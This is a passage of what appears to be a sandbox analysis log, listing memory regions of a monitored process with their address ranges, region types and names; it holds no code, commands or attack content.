pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2090 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2091 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2092 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2093 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2094 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2095 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2096 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2097 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2098 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2099 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2100 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2101 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2102 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2103 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2104 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2105 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2106 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2107 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2108 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2109 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2110 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2111 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2112 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2113 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2114 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2115 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2116 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2117 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2118 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2119 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2120 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2121 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2122 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2123 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2124 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2125 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2126 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2127 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2128 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2129 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2130 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2131 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2132 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2133 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2134 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2135 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2136 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2137 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2138 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2139 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2140 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2141 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2142 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2143 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2144 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2145 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2146 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2147 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2148 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2149 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2150 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2151 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2152 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2153 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2154 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2155 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2156 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2157 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2158 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2159 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2160 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2161 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2162 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2163 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2164 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2165 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2166 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2167 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2168 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2169 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2170 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2171 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2172 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2173 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2174 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2175 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2176 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2177 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2178 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2179 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2180 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2181 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2182 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2183 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2184 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2185 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2186 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2187 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2188 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2189 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2190 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2191 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2192 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2193 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2194 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2195 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2196 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2197 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2198 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2199 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2200 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2201 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2202 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2203 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2204 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2205 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2206 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2207 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2208 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2209 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2210 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2211 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2212 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2213 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2214 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2215 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2216 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2217 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2218 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2219 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2220 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2221 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2222 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2223 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2224 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2225 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2226 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2227 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2228 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2229 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2230 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2231 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2232 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2233 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2234 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2235 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2236 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2237 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2238 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2239 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2240 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2241 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2242 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2243 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2244 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2245 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2246 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2247 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2248 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2249 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2250 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2251 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2252 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2253 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2254 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2255 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2256 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2257 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2258 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2259 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2260 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2261 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2262 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2263 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2264 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2265 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2266 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2267 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2268 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2269 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2270 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2271 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2272 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2273 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2274 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2275 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2276 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2277 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2278 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2279 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2280 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" 